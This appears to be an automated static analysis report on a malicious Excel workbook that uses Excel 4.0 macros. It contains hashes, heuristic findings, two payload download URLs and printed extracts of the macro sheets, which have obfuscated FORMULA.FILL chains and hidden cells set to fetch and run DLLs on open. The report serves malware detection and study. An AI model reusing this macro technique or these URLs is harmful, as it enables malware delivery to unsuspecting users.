Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f38ab469417a595c…

MALICIOUS

Office (OOXML)

155.2 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-06-30
MD5: f986a62433fc690720d54b8a96dde251 SHA-1: 06b6a4b584d075d2f8e2fdbe2f8000914486f28f SHA-256: f38ab469417a595cdbdff7a1d27cc2844be91f891ece6b2ea7c860b5fc7dae51
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

This Excel file contains Excel 4.0 macros, which are known to be used for malicious purposes. The macros utilize dangerous functions like FORMULA.FILL and FORMULA to download and execute payloads from external URLs. The presence of these functions and the embedded URLs strongly suggest an attempt to download and run a second-stage malicious component.

Heuristics 4

  • Excel 4.0 macro sheet (4 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA.FILL, FORMULA, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://ecology-japan.com/nHi2nZU1fqyM/gg.html In document text (OOXML body / shared strings)
    • https://jjcart.net/TQuC4kcg/gg.htmlIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet3.xml 1503 bytes
SHA-256: 6396b663a4fd54b7f58c0a9133692e01e530055da80fd936b10721f3c7989126
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AI6"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="34" max="34" width="4.5703125" customWidth="1"/><col min="35" max="35" width="4.5703125" hidden="1" customWidth="1"/></cols><sheetData><row r="6" spans="35:35" x14ac:dyDescent="0.25"><c r="AI6" s="1" t="b"><f>FORMULA.FILL('Doc2'!AR122&amp;'Doc2'!AR123&amp;'Doc2'!AR136&amp;'Doc2'!AQ148&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ149&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ150&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR142&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ109&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ106&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR142&amp;'Doc2'!AR140&amp;'Doc2'!AR142&amp;'Doc2'!AR139,'Doc2'!AO149)='Doc5'!AM2()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet2.xml 1525 bytes
SHA-256: 8d10f47fc333f48ab24da329bc50acbf5ad96dbffc855723427f6dda1fd22b94
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AG6"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="32" max="32" width="4.5703125" customWidth="1"/><col min="33" max="33" width="4.5703125" hidden="1" customWidth="1"/></cols><sheetData><row r="6" spans="33:33" x14ac:dyDescent="0.25"><c r="AG6" s="1" t="b"><f>FORMULA.FILL('Doc2'!AR122&amp;'Doc2'!AR123&amp;'Doc2'!AR136&amp;'Doc2'!AQ148&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ149&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ150&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR142&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ108&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR137&amp;'Doc2'!AQ105&amp;'Doc2'!AR137&amp;'Doc2'!AR140&amp;'Doc2'!AR142&amp;'Doc2'!AR140&amp;'Doc2'!AR142&amp;'Doc2'!AR139,'Doc2'!AO148)='Doc4'!AI4()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>
xlm_sheet_02.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 11306 bytes
SHA-256: 3534428ae04c8748b30395c535d82383fafebe35201b605b4b184928cd71445b
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AO103:AS161"/><sheetViews><sheetView showFormulas="1" zoomScaleNormal="100" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="40" max="40" width="4.42578125" customWidth="1"/><col min="41" max="45" width="4.5703125" hidden="1" customWidth="1"/></cols><sheetData><row r="103" spans="41:45" x14ac:dyDescent="0.25"><c r="AO103" s="1"/><c r="AP103" s="1"/><c r="AQ103" s="1"/><c r="AR103" s="1"/><c r="AS103" s="1"/></row><row r="104" spans="41:45" x14ac:dyDescent="0.25"><c r="AO104" s="1"/><c r="AP104" s="1"/><c r="AQ104" s="1"/><c r="AR104" s="1"/><c r="AS104" s="1"/></row><row r="105" spans="41:45" x14ac:dyDescent="0.25"><c r="AO105" s="1"/><c r="AP105" s="1"/><c r="AQ105" t="str"><f>"..\cexyz1.dll"</f><v>..\cexyz1.dll</v></c><c r="AR105" s="1"/><c r="AS105" s="1"/></row><row r="106" spans="41:45" x14ac:dyDescent="0.25"><c r="AO106" s="1"/><c r="AP106" s="1"/><c r="AQ106" s="1" t="str"><f>"..\cexyz2.dll"</f><v>..\cexyz2.dll</v></c><c r="AR106" s="1"/><c r="AS106" s="1"/></row><row r="107" spans="41:45" x14ac:dyDescent="0.25"><c r="AO107" s="1"/><c r="AP107" s="1"/><c r="AQ107" s="1"/><c r="AR107" s="1"/><c r="AS107" s="2"/></row><row r="108" spans="41:45" x14ac:dyDescent="0.25"><c r="AO108" s="1"/><c r="AP108" s="1"/><c r="AQ108" s="1" t="str"><f>"https://ecology-japan.com/nHi2nZU1fqyM/gg.html"</f><v>https://ecology-japan.com/nHi2nZU1fqyM/gg.html</v></c><c r="AR108" s="1"/><c r="AS108" s="1"/></row><row r="109" spans="41:45" x14ac:dyDescent="0.25"><c r="AO109" s="1"/><c r="AP109" s="1"/><c r="AQ109" s="1" t="str"><f>"https://jjcart.net/TQuC4kcg/gg.html"</f><v>https://jjcart.net/TQuC4kcg/gg.html</v></c><c r="AR109" s="1"/><c r="AS109" s="1"/></row><row r="110" spans="41:45" x14ac:dyDescent="0.25"><c r="AO110" s="1"/><c r="AP110" s="1"/><c r="AQ110" s="1"/><c r="AR110" s="1"/><c r="AS110" s="1"/></row><row r="111" spans="41:45" x14ac:dyDescent="0.25"><c r="AO111" s="1"/><c r="AP111" s="1"/><c r="AQ111" s="1"/><c r="AR111" s="1"/><c r="AS111" s="1"/></row><row r="112" spans="41:45" x14ac:dyDescent="0.25"><c r="AO112" s="2"/><c r="AP112" s="1"/><c r="AQ112" s="1"/><c r="AR112" s="1"/><c r="AS112" s="1"/></row><row r="113" spans="41:45" x14ac:dyDescent="0.25"><c r="AO113" s="2" t="b"><f>FORMULA('Doc2'!AQ130&amp;'Doc2'!AQ131&amp;'Doc2'!AQ132,'Doc2'!AQ148)</f><v>1</v></c><c r="AP113" s="1"/><c r="AQ113" s="2"/><c r="AR113" s="2" t="s"><v>0</v></c><c r="AS113" s="1"/></row><row r="114" spans="41:45" x14ac:dyDescent="0.25"><c r="AO114" s="2" t="b"><f>FORMULA('Doc2'!AQ114&amp;'Doc2'!AQ115&amp;'Doc2'!AQ116&amp;'Doc2'!AQ117&amp;'Doc2'!AQ118,'Doc2'!AQ149)</f><v>1</v></c><c r="AP114" s="1"/><c r="AQ114" s="2" t="s"><v>1</v></c><c r="AR114" s="2" t="s"><v>2</v></c><c r="AS114" s="1"/></row><row r="115" spans="41:45" x14ac:dyDescent="0.25"><c r="AO115" s="1"/><c r="AP115" s="1"/><c r="AQ115" s="2" t="s"><v>3</v></c><c r="AR115" s="2" t="s"><v>4</v></c><c r="AS115" s="1"/></row><row r="116" spans="41:45" x14ac:dyDescent="0.25"><c r="AO116" s="1"/><c r="AP116" s="1"/><c r="AQ116" s="2" t="s"><v>5</v></c><c r="AR116" s="2"/><c r="AS116" s="1"/></row><row r="117" spans="41:45" x14ac:dyDescent="0.25"><c r="AO117" s="1"/><c r="AP117" s="1"/><c r="AQ117" s="2" t="s"><v>6</v></c><c r="AR117" s="2"/><c r="AS117" s="1"/></row><row r="118" spans="41:45" x14ac:dyDescent="0.25"><c r="AO118" s="1"/><c r="AP118" s="1"/><c r="AQ118" s="2" t="str"><f>RIGHT("rsthYFGIPUYiugeA",2)</f><v>eA</v></c><c r="AR118" s="2"/><c r="AS118" s="1"/></row><row r="119" spans="41:45" x14ac:dyDescent="0.25"><c r="AO119" s="1"/><c r="AP119"
... (truncated)
xlm_sheet_03.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet4.xml 1099 bytes
SHA-256: 116442751b27cac0ac22dfe8ef12d959cf127fb14d16558c667e52c97787bca2
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AM4"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.5703125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="39" max="39" width="4.5703125" hidden="1" customWidth="1"/></cols><sheetData><row r="4" spans="39:39" x14ac:dyDescent="0.25"><c r="AM4" s="2" t="b"><f>FORMULA.FILL('Doc2'!AQ136&amp;'Doc2'!AQ137&amp;'Doc2'!AQ138&amp;'Doc2'!AQ139&amp;'Doc2'!AQ140&amp;'Doc2'!AQ141&amp;'Doc2'!AQ142&amp;"2 ",'Doc2'!AQ154)='Doc2'!AO130()</f><v>1</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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